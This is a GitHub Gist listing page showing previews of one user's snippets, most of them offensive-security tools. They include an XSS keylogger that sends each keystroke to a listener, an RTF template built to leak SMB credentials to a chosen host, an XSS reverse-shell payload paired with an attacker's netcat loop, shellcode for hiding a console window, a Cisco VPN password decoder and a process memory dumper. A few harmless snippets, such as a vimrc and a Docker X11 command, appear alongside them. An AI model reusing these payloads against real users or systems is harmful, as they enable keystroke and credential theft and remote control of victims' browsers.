Skip to content

Instantly share code, notes, and snippets.

@ivanvza
ivanvza / dl.bat
Created July 25, 2017 14:28
Windows DL bitsadmin
bitsadmin /transfer TransferJobName /priority high UrlOfTheFile SaveFileAsName
@ivanvza
ivanvza / xss_keylogger.js
Created June 28, 2017 11:06
XSS Keylogger
document.onkeypress = function Logger(key) {
pressed = String.fromCharCode(key.which);
new Image().src="http://127.0.0.1:12345/?" + pressed;
}
@ivanvza
ivanvza / socatXOSX
Created June 17, 2017 22:23
Docker X11 OSX
socat TCP-LISTEN:6000,reuseaddr,fork UNIX-CLIENT:\"$DISPLAY\"
docker run -e DISPLAY=127.0.0.1:0 <image>
@ivanvza
ivanvza / rtf_smb.rtf
Created April 3, 2017 11:50
RTF SMB Stealer
#Please remove these comments.
#This is a template RTF file, that will connect to a host(share), looking for an image.
#With the above mentioned, get your smb_sniffer going :)
{\\rtf1{\\field{\\*\\fldinst {INCLUDEPICTURE "file://[HOST]/[IMAGE]" \\\\* MERGEFORMAT\\\\d}}{\\fldrslt}}}
@ivanvza
ivanvza / cisco-decrypt.c
Created March 23, 2017 05:26
Cisco VPNclient Password Decoder
/* Decoder for password encoding of Cisco VPN client.
Copyright (C) 2005 Maurice Massar
Thanks to [email protected] for decoding and posting the algorithm!
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
@ivanvza
ivanvza / hidden_windows_shell.c
Last active April 13, 2017 08:49
Win32 - Hide Console Window Shellcode
/*
This shellcode will hide the console window...
[BITS 32]
[ORG 0]
pushad ; Save all register to stack
pushfd ; Save all flags to stack
@ivanvza
ivanvza / downloader.go
Created March 4, 2017 16:19
Concurrent Downloader
package main
import (
"fmt"
"io"
"io/ioutil"
"net/http"
"net/url"
"os"
"runtime"
@ivanvza
ivanvza / memdump.py
Created February 28, 2017 20:36
Python PID Memory Dump
#!/usr/bin/env python
# USAGE memdump.py <pid>
import ctypes, re, sys
## Partial interface to ptrace(2), only for PTRACE_ATTACH and PTRACE_DETACH.
c_ptrace = ctypes.CDLL("libc.so.6").ptrace
c_pid_t = ctypes.c_int32 # This assumes pid_t is int32_t
c_ptrace.argtypes = [ctypes.c_int, c_pid_t, ctypes.c_void_p, ctypes.c_void_p]
@ivanvza
ivanvza / xss_shell.txt
Created February 28, 2017 20:36
XSS Reverse Shell
Attacker: while :; do printf "j$ "; read c; echo $c | nc -lp PORT >/dev/null; done
Victim: <svg/onload=setInterval(function(){d=document;z=d.createElement("script");z.src="//HOST:PORT";d.body.appendChild(z)},0)>
@ivanvza
ivanvza / .vimrc
Created February 28, 2017 20:35
Vim Config file
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
" => General
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
" Sets how many lines of history VIM has to remember
set history=700
" Enable filetype plugins
filetype plugin on
" filetype indent on